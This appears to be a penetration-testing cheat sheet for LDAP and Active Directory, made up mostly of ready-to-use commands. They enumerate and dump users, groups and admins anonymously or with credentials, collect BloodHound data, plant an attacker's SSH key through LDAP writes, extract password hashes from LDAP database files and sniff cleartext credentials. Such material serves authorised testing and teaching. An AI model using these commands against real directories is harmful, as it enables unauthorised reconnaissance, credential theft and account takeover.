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LDAP (Lightweight Directory Access Protocol) is used to locate entities such as organizations, users, and resources in networks. It powers Active Directory and many identity management systems. Default Ports: 389 (LDAP), 636 (LDAPS), 3268/3269 (Global Catalog in AD)

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Anonymous Access

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LDAP Anonymous Bind

# Test for anonymous bind
ldapsearch -H ldap://<IP> -x

# Get naming context
ldapsearch -H ldap://<IP> -x -s base namingcontexts

# Dump everything
ldapsearch -H ldap://<IP> -x -b "<Naming_Context>"

# TLS SNI bypass (sometimes allows anonymous access)
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

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Anonymous Enumeration with NetExec

# Enumerate all objects
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""

# Dump users
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""

# Extract username list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
What to look for in anonymous results:
  • sAMAccountName, userPrincipalName
  • memberOf for group scope
  • pwdLastSet temporal patterns
  • userAccountControl flags (disabled, smartcard required)

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Authenticated Enumeration

# Basic authenticated query
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' \
  -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

# Extract users
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'johnpassw' \
  -b "CN=Users,DC=mydom,DC=local"

# Extract computers
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
  -b "CN=Computers,DC=mydom,DC=local"

# Extract Domain Admins
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
  -b "CN=Domain Admins,CN=Users,DC=mydom,DC=local"

# Extract Administrators group
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
  -b "CN=Administrators,CN=Builtin,DC=mydom,DC=local"

# Search for passwords in attributes
ldapsearch <cmd> | grep -i -A2 -B2 "userpas"

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Automated LDAP Dump

# ldapdomaindump
pip3 install ldapdomaindump
ldapdomaindump <IP> -u 'DOMAIN\username' -p 'password' --no-json --no-grep

# windapsearch
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

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Python LDAP Enumeration

import ldap3

# Connect (try without credentials first)
server = ldap3.Server('x.X.x.X', get_info=ldap3.ALL, port=636, use_ssl=True)
connection = ldap3.Connection(server)
connection.bind()  # True = anonymous bind allowed
print(server.info)  # Shows naming context, domain name

# Search objects
connection.search(
    search_base='DC=DOMAIN,DC=DOMAIN',
    search_filter='(&(objectClass=*))',
    search_scope='SUBTREE',
    attributes='*'
)
print(connection.entries)

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Write LDAP Data

If you can modify values, interesting possibilities include: 
# Modify sshPublicKey attribute (if SSH reads public keys from LDAP)
connection.modify('uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', {
    'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA... attacker@evil'])]
})
# If SSH reads from LDAP: ssh -i attacker_private_key USER@target

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Kerberos Authentication

# ldapsearch with Kerberos (GSSAPI)
ldapsearch -Y GSSAPI -H ldap://dc.domain.com -b "DC=domain,DC=com"

# NetExec LDAP BloodHound collection
nxc ldap <IP> -u <USERNAME> -p <PASSWORD> \
  --bloodhound -c All -d <DOMAIN.LOCAL> \
  --dns-server <IP> --dns-tcp

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Sniffing LDAP Credentials

If LDAP is used without SSL (port 389), credentials are transmitted in plaintext and can be sniffed on the network. A MitM attack can force clients to use the clear-text authentication method.

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Graphical Tools

  • Apache Directory Studio — Full-featured LDAP browser
  • jxplorer — Graphical LDAP client
  • Godap — Interactive TUI for LDAP (supports PTH, PTC, kerberos)
  • Ldapx — LDAP proxy for obfuscating traffic

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Post-Exploitation: Extract Hashes

# If you have access to LDAP database files
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
# Feed password hashes to john (from '{SSHA}' to 'structural')

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LDAP Configuration Files

/etc/ldap/ldap.conf
/etc/openldap/slapd.conf
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml

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